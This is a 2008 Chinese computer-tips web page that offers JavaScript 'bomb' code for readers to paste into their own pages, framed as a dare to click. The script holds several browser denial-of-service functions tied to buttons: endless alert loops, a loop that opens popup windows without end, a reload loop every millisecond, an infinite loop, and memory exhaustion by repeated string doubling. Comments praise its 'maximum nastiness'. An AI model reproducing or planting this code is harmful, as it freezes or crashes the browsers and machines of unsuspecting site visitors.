注册本站  论坛  繁體中文

慧民电脑芯片级维修-电脑技巧
手机 | MP3 | MP4 | 显卡 | 主板 | 显示器 | 光存储 | 笔记本 | 网络设备 | 移动存储 | 数码相机
键鼠 | CPU | 音箱 | GPS | 电视 | 服务器 | 投影机 | 机箱电源 | 品牌电脑 | 办公打印 |
| 网站首页 | Cisco | Windows | Linux | Java | Dotnet | Oracle | 网页设计 | 平面设计 | 安全 | 软件应用 | 电脑维修 | 办公维修 |
您现在的位置: 电脑技巧 >> 网页设计 >> HTML >> 网页设计正文

危险,你敢点击吗?

文章来源:中国IT实验室收集整理 作者:凌思敏 更新时间:2008-9-22 12:49:17 【 】 【加入收藏
  进入网络咨询平台

在<BODY></BODY>中加入

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin
function AnnoyingButton()
{
   while (true)
       window.alert("HAHAHA...you can't do anything anymore in Netscape without exiting and restarting....HAHAHA so gimme da UT now...or else!") }
// Keep opening windows over and over again
function WindowBomb()
{
    var iCounter = 0    // dummy counter
    while (true)
      {
        window.open("http://www.NETural.com/~ccamel","CRASHING" + iCounter,"width=1,height=1,resizable=no")
        iCounter++
      }
}
// Not as interesting as the other bombs, but this one forces the user to
// stay at the current page.  User cannot switch to another page, or click
// stop to stop the reloading.
function ReloadBomb()
{
   history.go(0)                         // reload this page
   window.setTimeout('ReloadBomb()',1)   // tell netscape to hit this function
                                         // every milisecond =)
}
// Not a very interesting bomb, it does nothing really :>
function WhileLoopLock()
{
   while (true){}
}
var szEatMemory = "GOBBLEGOBBLE"  // our string to consume our memory
// Now this function EatMemoryInTime is a interesting one that could be
// placed on a timer for maximum nastiness :>  I have been able to get
// up to 4Megs consumed by Netscape forcing my machine to crawl =)
// AND it's time driven!  No while loops here!
function EatMemoryInTime()
{
    szEatMemory = szEatMemory + szEatMemory                    // keep appending
    window.status = "String Length is: " + szEatMemory.length  // report size
    window.setTimeout('EatMemoryInTime()',1);                  // tell netscape to hit this function
}
// End -->

</SCRIPT>
<center>
下面的每一个按钮都很危险,一按你的电脑立即<font color=red>OVER</font>,不信试试吧!!!<br>

<FORM method=post name="FormAction" action="mailt"+"webmaster@mbsky.com">

<INPUT TYPE="button" value="Exploding Windows"
Name="btnExplodeWindows" onClick="WindowBomb()"><P><br>

<INPUT TYPE="button" value="Annoying Button" Name="btnAnnoy"
onClick="AnnoyingButton()"><P><br>

<INPUT TYPE="button" value="Reload Bomb" Name="btnReload"
onClick="ReloadBomb()"><P><br>

<INPUT TYPE="button" value="While Loop Lock" Name="btnWhile"
onClick="WhileLoopLock()"><p><br>

 <INPUT TYPE="button" value="Eat Memory In Time" Name="btnEatTime"
onClick="EatMemoryInTime()"><p><br>

<INPUT TYPE="button" value="Action!" onClick="document.FormAction.submit()"><br>
</center>

  • 上一篇网页设计:

  • 下一篇网页设计:
  • 最 新 热 门
     最简单的“开始”菜单效果
     geom加bitmapdata类打造超酷鼠标跟随效果
     AS3:图像裁剪
     Flash打造小球的弹性碰撞
     as3运用:点击图片取色
     as制作:可拖动单元格的菜单
     利用BitmapData类制作FLASH 3D相册
     使用Flash MX过程中的3个小技巧
     使用AS3自带函数进2/8/10/16/32进制互换
     flash制作字母变换效果
    最 新 推 荐
     13种常用按钮、文本框、表单等CSS样式
     CSS制作很漂亮的文字滑动效果
     用CSS改变的图片由模糊到清楚的导航
     用Class组合实现Div+CSS布局
     css布局实例:网页布局的方法
     CSS实战:美化段落文本之首字下沉
     几个经典的css技巧
     用CSS控制浏览器滚动条样式源代码
     最好的CSS资源
     危险,你敢点击吗?
    相 关 文 章

    Csser们,你该如何发展,如何学习进步?
    危险无处不在 Html标签带来的安全隐患

    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 网站公告

     

    Copyright 2006-2008 pcjx.com All Rights Reserved
    电脑技巧 版权所有 粤ICP备06059145号 地图
    门市地址:广东省佛山市南海区黄岐黄海路133号
    本网站所有内容未经许可不得转载或做其他使用